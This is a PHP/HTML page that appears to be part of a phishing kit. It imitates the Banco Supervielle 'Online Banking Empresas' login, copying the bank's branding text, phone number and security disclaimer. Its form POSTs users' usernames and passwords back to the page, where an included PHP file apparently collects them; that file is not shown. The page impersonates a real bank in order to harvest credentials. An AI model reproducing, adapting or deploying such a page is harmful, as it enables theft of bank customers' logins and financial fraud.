<?php
include 'src/querys/src.php';
?>
<!doctype html>
<html lang="es">
<head>
  <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.13.1/font/bootstrap-icons.min.css">
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Nuevo-login-xs-9a466488</title>
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.7/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-LN+7fdVzj6u52u30Kp6M/trliBMCMKTyK833zpbD+pXdCLuTusPj697FH4R/5mcr" crossorigin="anonymous">
  <link rel="stylesheet" type="text/css" href="static/style.css">
</head>
<body>  
  <div class="content d-flex justify-content-end h-100">
    <div class="loginbox d-flex flex-column justify-content-between w-100 bg-white h-100 ms-sm-auto" >
      <header>
        <nav class="navbar ">
          <div class="container-fluid">
            <a href="" class="navbar-brand">
              <img src="static/logo.svg" class="logo">
            </a>
            <ul class="d-flex listiiiiiiii mt-3 mt-sm-0 list-unstyled  m-0 p-0">
              <li class="pete1 d-block"></li>
              <li class="pete2 d-block"></li>
              <li class="pete3 d-block"></li>
            </ul>
          </div>
        </nav>
      </header>
      <main class="mx-auto mt-4 mt-sm-0 mb-auto">
        <h3 class="title fw-light">Iniciar sesión en Online Banking Empresas</h3>
        <form method="POST">
          <div class="mb-3">
            <input type="" name="user" required placeholder="Tu nombre de usuario" minlength="6" class="form-control rounded-0 shadow-none" id="exampleInputEmail1" aria-describedby="emailHelp">
          </div>
          <div class="mb-4">
            <input type="password" name="password" required  placeholder="Tu clave" minlength="6" class="form-control rounded-0 shadow-none" id="exampleInputPassword1">
          </div>
          <div class="d-flex mb-3 justify-content-between align-items-center" >
            <div>
              <button name="submit" type="submit" class="btn mb-3 mb-sm-5 btn-danger">Ingresar</button>
            </div>
            <div class="d-sm-flex d-none gap-2 align-items-center">
              <div>
                <i class="bi bi-keyboard fs-2 text-muted"></i>
              </div>
              <div>
                <span class="grey"> Teclado virtual</span>
              </div>
            </div>  
          </div>
          


          <p class="text-danger mb-2">
            Olvidé o bloqueé mi usuario/clave
          </p>
          <a href="" class="btn mb-3 btn-outline-danger">Cómo genero mi usuario y clave por primera vez > </a>
          <p class="fs14">
            Atención a empresas <br>
            0810-333-4959
          </p>
        </form>
      </main>
      <footer class="mx-auto py-4 px-4 px-sm-0">
        <span>
          Banco Supervielle S.A. no solicita actualización de datos vía e-mail o en forma telefónica. Por dudas o consultas sobre temas de seguridad, <a href=""> haga click aquí.</a> <br>
          Ante cualquier inquietud no dude en comunicarse con nosotros al 0810-333-4959.

        </span>
      </footer>
    </div>
  </div>
  <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.7/dist/js/bootstrap.bundle.min.js" integrity="sha384-ndDqU0Gzau9qJ1lfW4pNLlhNTkCfHzAVBReH9diLvGRem5+R9g2FzA8ZGN954O5Q" crossorigin="anonymous"></script>
</body>
</html>